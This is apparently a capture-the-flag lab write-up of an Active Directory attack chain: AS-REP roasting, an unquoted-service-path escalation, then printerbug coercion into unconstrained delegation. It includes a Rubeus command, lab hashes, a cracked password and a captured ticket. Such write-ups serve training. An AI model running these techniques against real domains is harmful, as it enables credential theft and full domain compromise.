root▌

nighthawk - SecDojo - Roaster

Description

Username guessing from the web app, AS-REP roast, unquoted service path to administrator, then printerbug into unconstrained delegation.

Enumerating .101

The web app exposes enough naming detail to build a username list.

kerbrute userenum validates it, and one name survives.

That account is AS-REP roastable, and the hash cracks to Password2008.

Login rdp

Shell as a normal user on .101.

Privilege escalation

A service binary sits in a path with a space and no quotes — unquoted service path.

The binpath is rewritten to our payload and the service restarts as SYSTEM; a secretsdump from there yields the machine hash.

DC01\WSRV$:aad3b435b51404eeaad3b435b51404ee:a22a7424887ec4da00c474bc9c5a0c55

BloodHound flags unconstrained delegation on the DC’s machine account — it caches any ticket presented to it.

Unconstrained delegation → Administrator

First, an account with local admin on .101, so the coercion has a reason to authenticate to us.

RDP back in with that account.

Trigger printerbug corecion

printerbug.py fires the SpoolSample coercion at the DC, which then authenticates outward.

Fire up rebeus

.\Rubeus.exe monitor /interval:1 /runfor:60 /nowrap /filteruser:DC$

Rubeus monitor filters for DC$ and catches the TGT as it lands.

doIFdjCCBXKgAwIBBaEDAgEWooIEfTCCBHlhggR1MIIEcaADAgEFoQ8bDVNFQ0RPSk8uTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDVNFQ0RPSk8uTE9DQUyjggQzMIIEL6ADAgESoQMCAQKiggQhBIIEHc23VFZm8XP1zNTokUvVjx9Cev2beEOun5g/Z0TIhCX+Tv2bSIF/cBJyRWRp/+BVXhFvGofBhucglkHVl4Zj+Mb9SGUv0mgF6cZEAmJN0rZ1LEDmv0OkjE+FoRqIOijThoW5kbDTWYGzYL1N+Au+apRk5VaxdhmJIe2NBnPsZkQU4JoKi5mNf0plAjaL0lslge1/YZtsEMVXJW+jvoWdvheAuJAKtHfNzt14lVZGedhS/i+q4BIbOCCcXClYFEMyyzRKkWWoUpdK27K3Lt0g/dyFFUyDdiNVwpWnkpE2IbUqUMqCQCjm5b4d99VZaT6Hpkjh5mQRiEWP0nNTIQ7e5cTaaahIUlSfFNjWEaa7byax4rUq0+SkmALPf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ESoSIEILzI2DnG01M2iMnnwejtQEKAWp4uvJdBbqmCVDaE3gZloQ8bDVNFQ0RPSk8uTE9DQUyiEDAOoAMCAQGhBzAFGwNEQySjBwMFAGChAAClERgPMjAyNjExMjgwODUyMDJaphEYDzIwMjYxMTI4MTg1MjAyWqcRGA8yMDI2MTIwNTA4NTIwMlqoDxsNU0VDRE9KTy5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNU0VDRE9KTy5MT0NBTA==

Convert the ticket

Confirm the ticket is for the target user 'DC$'

Export ticket

Rubeus ptt on that base64 ticket impersonates the DC, and secretsdump -k -no-pass returns the Administrator hash.

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7e3d524a5bd627974637ac04774a36dc

Takeaways

  • An AS-REP roastable service account with a weak password is a foothold.
  • Unquoted service path in a user-writable directory is SYSTEM.
  • Unconstrained delegation on a DC machine account plus printerbug is domain admin, no cracking required.